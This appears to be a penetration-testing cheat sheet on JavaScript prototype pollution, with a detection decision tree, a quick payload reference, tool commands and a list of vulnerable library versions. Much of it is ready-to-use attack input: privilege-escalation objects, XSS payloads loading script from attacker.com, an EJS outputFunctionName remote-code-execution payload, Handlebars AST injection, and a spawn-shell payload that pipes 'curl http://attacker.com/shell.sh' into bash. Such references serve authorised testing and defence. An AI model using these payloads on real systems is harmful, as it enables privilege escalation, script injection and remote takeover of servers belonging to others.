Found user-controlled input reaching a merge/clone/set function?
│
├── Client-side (browser)?
│   ├── Query string / hash parsed by custom parser?
│   │   └── Test: ?__proto__[testPP]=izanaghi → check console
│   ├── JSON body parsed + deep-merged?
│   │   └── Test: {"__proto__":{"testPP":"izanaghi"}}
│   └── postMessage receiver with merge?
│       └── Test: send {"__proto__":{"testPP":"izanaghi"}} cross-origin
│
├── Server-side Node.js?
│   ├── POST JSON body → merge into options?
│   │   └── Test: {"__proto__":{"isAdmin":true}} → check privilege change
│   ├── Query string → qs.parse → merge?
│   │   └── Test: ?__proto__[isAdmin]=true
│   └── Template engine involved?
│       └── Try AST injection (Handlebars / EJS / Pug payloads)
│
├── Pollution confirmed → find gadgets?
│   ├── Client-side → grep for innerHTML, eval, src=, setTimeout
│   │   └── Exploit: pollute the property → PP → XSS
│   └── Server-side → grep for spawn(), template render(), env merge
│       └── Exploit: PP → RCE chain
│
└── No direct output (blind)?
    ├── Pollute status/error property → observe HTTP response change
    ├── Pollute with canary → check OOB (DNS pingback)
    └── Delay gadget → pollute then trigger slow path → time difference

Quick Payload Reference

// ── Confirm Pollution (Client) ──
?__proto__[testPP]=izanaghi                          // check: ({}).testPP
?constructor[prototype][testPP]=izanaghi             // alternate path
{"__proto__":{"testPP":"izanaghi"}}                  // JSON body

// ── Privilege Escalation ──
{"__proto__":{"isAdmin":true}}
{"__proto__":{"role":"admin"}}
{"__proto__":{"authorized":true}}

// ── PP → XSS (Client Gadget: innerHTML) ──
?__proto__[innerHTML]=<img src=x onerror=alert(document.domain)>
?__proto__[template]=<script>alert(origin)</script>

// ── PP → XSS (Client Gadget: src) ──
?__proto__[src]=//attacker.com/evil.js
?__proto__[scriptSrc]=//attacker.com/evil.js

// ── SSPP → RCE (EJS outputFunctionName) ──
{"__proto__":{"outputFunctionName":"x;require('child_process').execSync('id>/tmp/pwn')//"}}

// ── SSPP → RCE (spawn shell option) ──
{"__proto__":{"shell":true,"env":{"PWD":"; curl http://attacker.com/shell.sh | bash"}}}

// ── AST Injection (Handlebars) ──
{"__proto__":{"type":"Program","body":[{"type":"MustacheStatement","path":{"original":"process.mainModule.require('child_process').execSync('id')","type":"PathExpression","parts":["process"],"data":false,"depth":0},"params":[],"hash":null,"escaped":true,"strip":{}}}]}}

// ── Alternative Paths ──
{"constructor":{"prototype":{"x":"y"}}}             // constructor path
?constructor[prototype][isAdmin]=true

// ── Encoding Bypasses ──
%5F%5Fproto%5F%5F[x]=y                              // URL encoded __proto__
{"\u005f\u005fproto\u005f\u005f":{"x":"y"}}         // unicode in JSON

Tool Quick Reference

# DOM Invader (Burp Suite built-in):
# Proxy → Open Browser → DOM Invader → Enable → Inject canary → trigger app

# ppfuzz:
ppfuzz -u "https://target.com/" --delay 200ms
ppfuzz -l targets.txt -o results.json

# PPScan:
node pplib.js https://target.com/

# AST-Grep:
ast-grep --lang js -p '$OBJ["__proto__"]' .
ast-grep --lang js -p '$EL.innerHTML = $VAR' .

# npm audit:
npm audit
npm audit fix

# grep for gadgets:
grep -rn "innerHTML\|eval\|\.src\s*=" --include="*.js" .
grep -rn "merge\|deepMerge\|defaultsDeep" --include="*.js" .

Vulnerable Library Version Reference

lodash           < 4.17.12    _.merge(), _.defaultsDeep(), _.set()
jQuery           < 3.4.0      $.extend(true, ...)
qs               < 6.7.3      qs.parse() with __proto__ key
deepmerge        < 4.2.2      deepmerge()
merge            < 2.1.1      merge.recursive()
defaults-deep    < 0.2.4      defaultsDeep()
mixin-deep       < 1.3.2      mixinDeep()
set-value        < 2.0.1      setValue()
flat             < 5.0.1      flat.unflatten()
hoek             < 4.2.1      hoek.merge(), hoek.applyToDefaults()
Handlebars       < 4.7.7      Template compilation
EJS              < 3.1.7      outputFunctionName gadget (CVE-2022-29078)
AngularJS        < 1.7.9      angular.merge()

← Web top ↑